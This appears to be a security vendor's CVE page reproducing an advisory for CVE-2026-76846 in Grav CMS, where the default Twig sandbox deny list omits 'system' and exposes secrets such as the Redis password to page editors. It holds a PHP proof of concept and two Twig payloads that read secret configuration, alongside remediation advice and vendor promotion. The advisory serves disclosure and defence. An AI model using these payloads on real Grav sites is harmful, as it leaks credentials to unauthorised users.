CVE-2026-76846

CVE-2026-76846 is a high-severity security vulnerability in getgrav/grav (composer), affecting versions <= 2.0.15. It is fixed in 2.0.16.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Grav: configdeniedpaths default list omits system, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled

system/config/security.yaml's default twig_sandbox.config_denied_paths list
(plugins, streams, security, backups, scheduler) omits the system prefix.
When an operator enables the documented, non-default twig_content.config_access: true
setting (intended to safely expose low-sensitivity values like site.title to
editor-authored Twig content), any real secret stored under system.* , for example
system.cache.redis.password , is also exposed, both via config.get(...) and via
config.toArray(), to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist,
but the shipped default denylist is incomplete.

Environment used to verify

  • Grav commit at HEAD of the default branch, GRAV_VERSION 2.0.15
  • PHP 8.3.6 with curl, zip, dom, gd extensions installed
  • Full composer install --no-dev run against the real repository (no mocked
    dependencies) so the actual Grav\Common\Config\Config and
    Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly

Commands run to set up the verification environment

git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

grep -n "redis" -A3 system/config/system.yaml
#   redis:
#     socket: false
#     password:                # <- system.cache.redis.password, a real field
#     database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
#   cache.redis.password:      # <- confirmed exposed in the admin UI as "REDIS Password"
#     type: text

sandbox_test.php , loads the real classes via the real autoloader, no mocking of
Config or SandboxConfig themselves:

<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
    'system' => [
        'cache' => [
            'driver' => 'redis',
            'redis' => [
                'server'   => '10.0.0.5',
                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
            ],
        ],
    ],
    'plugins' => [
        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
    ],
    'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());

Run:

php sandbox_test.php

Output:

plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
    [system] => Array
        (
            [cache] => Array
                (
                    [driver] => redis
                    [redis] => Array
                        (
                            [server] => 10.0.0.5
                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
                        )

                )

        )

    [site] => Array
        (
            [title] => My Site
        )

)

plugins.* is correctly redacted; system.cache.redis.password is not, and appears in
full both via targeted get() and via bulk toArray().

Confirming the Twig-reachable path is real

system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's
methods for use inside sandboxed page-content templates:

- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
  methods: 'get, toarray, value, offsetget, offsetexists'

So, with twig_content.process_enabled: true and twig_content.config_access: true
both set (both documented, operator-controlled settings), a page containing:

{{ config.get('system.cache.redis.password') }}

or

{{ config.toArray() }}

renders the real Redis password directly into the page output for any user with
page-edit permission.

Affected component

  • system/config/security.yaml, twig_sandbox.config_denied_paths default value
  • system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its
    input; the gap is in the default list passed to it)

Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented config_access opt-in (intended only to expose things like site.title),
exposes that Redis password , and potentially other future system.* secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.

CVE-2026-76846 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.16); upgrading removes the vulnerable code path.

Affected versions

getgrav/grav (<= 2.0.15)

Security releases

getgrav/grav → 2.0.16 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Add system to the default config_denied_paths list in
system/config/security.yaml, or invert the model to an allowlist (e.g. site, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under system.* doesn't silently bypass the sandbox by default.

Frequently Asked Questions

  1. What is CVE-2026-76846? CVE-2026-76846 is a high-severity security vulnerability in getgrav/grav (composer), affecting versions <= 2.0.15. It is fixed in 2.0.16.
  2. How severe is CVE-2026-76846? CVE-2026-76846 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of getgrav/grav are affected by CVE-2026-76846? getgrav/grav (composer) versions <= 2.0.15 is affected.
  4. Is there a fix for CVE-2026-76846? Yes. CVE-2026-76846 is fixed in 2.0.16. Upgrade to this version or later.
  5. Is CVE-2026-76846 exploitable, and should I be worried? Whether CVE-2026-76846 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-76846 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-76846? Upgrade getgrav/grav to 2.0.16 or later.

Other vulnerabilities in getgrav/grav

Stop the waste.
Protect your environment with Kodem.